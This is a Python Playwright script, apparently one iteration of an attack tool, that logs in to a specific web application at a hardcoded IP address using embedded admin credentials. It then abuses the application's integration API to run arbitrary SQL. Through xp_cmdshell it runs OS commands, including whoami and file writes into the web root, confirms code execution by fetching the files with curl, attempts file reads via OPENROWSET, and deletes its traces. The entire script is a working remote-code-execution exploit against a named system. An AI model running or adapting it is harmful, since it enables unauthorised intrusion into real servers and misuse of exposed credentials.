#!/usr/bin/env python3
"""v30: Debug — verify xp_cmdshell actually works. Write simple file, check via HTTP."""
import asyncio, re, subprocess, os
from playwright.async_api import async_playwright

IP = "198.71.63.125"
APP = "CITYMARTUAPSINGLE"

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        context = await browser.new_context()
        page = await context.new_page()

        # Login
        await page.goto(f"http://{IP}/{APP}/login", wait_until="domcontentloaded", timeout=15000)
        await asyncio.sleep(2)
        await page.fill('input[name="Email"]', 'irelyadmin')
        await page.fill('input[name="Password"]', 'i21By2015')
        await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
        await asyncio.sleep(1)
        await page.evaluate('document.querySelector("form").submit()')
        await asyncio.sleep(12)
        try: await page.wait_for_load_state("networkidle", timeout=15000)
        except: pass
        if "login" in page.url.lower() and "#home" not in page.url:
            print("Login failed"); await browser.close(); return
        print("✅ Login OK")

        async def run_step(name, sql_text):
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strStepName:"Test", intStepTypeId:1, intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_text)
            await asyncio.sleep(2)
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + APP + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: 4}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            msg = re.search(r'"statusText"\s*:\s*"([^"]*)"', body)
            s = success.group(1) if success else "?"
            m = msg.group(1) if msg else ""
            print(f"  {name}: success={s} msg={m[:100]}")
            # Restore
            await page.evaluate('''async () => {
                await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            return s

        # Test 1: Simple SELECT (verify SQL works)
        print("\n=== Test 1: SELECT 1 ===")
        await run_step("select1", "SELECT 1")

        # Test 2: xp_cmdshell echo (verify xp_cmdshell enabled)
        print("\n=== Test 2: xp_cmdshell echo ===")
        await run_step("echo_test", "EXEC xp_cmdshell 'echo hello > D:\\\\i21App\\\\" + APP + "\\\\test.txt'")

        # Test 3: Download test.txt
        print("\n=== Test 3: Download test.txt ===")
        url = f"http://{IP}/{APP}/test.txt"
        dl = subprocess.run(["curl", "-sS", "-m", "15", "-o", "/tmp/test_customer.txt", "-w", "%{http_code}", url],
                           capture_output=True, text=True, timeout=20)
        code = dl.stdout.strip()
        print(f"  {url} → HTTP {code}")
        if code == "200" and os.path.exists("/tmp/test_customer.txt"):
            content = open("/tmp/test_customer.txt").read()
            print(f"  Content: {content}")
        elif code == "404":
            print("  ❌ 404 — file not found")

        # Test 4: Try without no_output (capture output)
        print("\n=== Test 4: xp_cmdshell WITHOUT no_output ===")
        await run_step("echo_test2", "EXEC xp_cmdshell 'echo hello2 > D:\\\\i21App\\\\" + APP + "\\\\test2.txt'")

        # Test 5: Download test2.txt
        print("\n=== Test 5: Download test2.txt ===")
        url2 = f"http://{IP}/{APP}/test2.txt"
        dl2 = subprocess.run(["curl", "-sS", "-m", "15", "-o", "/tmp/test2_customer.txt", "-w", "%{http_code}", url2],
                            capture_output=True, text=True, timeout=20)
        code2 = dl2.stdout.strip()
        print(f"  {url2} → HTTP {code2}")

        # Test 6: Check if xp_cmdshell is even enabled
        print("\n=== Test 6: xp_cmdshell 'whoami' ===")
        await run_step("whoami", "EXEC xp_cmdshell 'whoami'")

        # Test 7: Try writing to wwwroot
        print("\n=== Test 7: write to wwwroot ===")
        await run_step("wwwroot", "EXEC xp_cmdshell 'echo hello > C:\\\\inetpub\\\\wwwroot\\\\test.txt'")

        # Test 8: Download from wwwroot
        print("\n=== Test 8: Download from wwwroot ===")
        url3 = f"http://{IP}/test.txt"
        dl3 = subprocess.run(["curl", "-sS", "-m", "15", "-o", "/tmp/test_wwwroot.txt", "-w", "%{http_code}", url3],
                            capture_output=True, text=True, timeout=20)
        code3 = dl3.stdout.strip()
        print(f"  {url3} → HTTP {code3}")

        # Test 9: Use OPENROWSET to read the file back (Send Mail type returns content)
        print("\n=== Test 9: Read test.txt via OPENROWSET ===")
        put = await page.evaluate('''async (sqlText) => {
            const resp = await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                method: 'PUT',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify([{intStepId:4, strStepName:"Test", intStepTypeId:9, intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, strTo:"t@t.com", strSubject:"T", strMessage:"<MESSAGE>", strPayloadType:"JSON", strAuthenticationType:"JWT", intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                credentials: 'include'
            });
            return {status: resp.status};
        }''', "SELECT BulkColumn FROM OPENROWSET(BULK 'D:\\\\i21App\\\\" + APP + "\\\\test.txt', SINGLE_CLOB) AS t")
        await asyncio.sleep(2)
        exec_r = await page.evaluate('''async () => {
            const resp = await fetch('/''' + APP + '''/Integration/api/Execute/ExecuteStep', {
                method: 'POST',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify({intStepId: 4}),
                credentials: 'include'
            });
            const text = await resp.text();
            return {status: resp.status, body: text};
        }''')
        body = exec_r.get('body', '')
        success = re.search(r'"success"\s*:\s*(true|false)', body)
        msg = re.search(r'"statusText"\s*:\s*"([^"]*)"', body)
        print(f"  success={success.group(1) if success else '?'} msg={msg.group(1)[:200] if msg else ''}")
        # The msg should contain the file content if Send Mail returns it
        # But actually statusText = exception message, not SQL result

        # Cleanup
        print("\n=== Cleanup ===")
        await run_step("cleanup", "EXEC xp_cmdshell 'del D:\\\\i21App\\\\" + APP + "\\\\test.txt D:\\\\i21App\\\\" + APP + "\\\\test2.txt C:\\\\inetpub\\\\wwwroot\\\\test.txt', no_output")

        await browser.close()

asyncio.run(main())
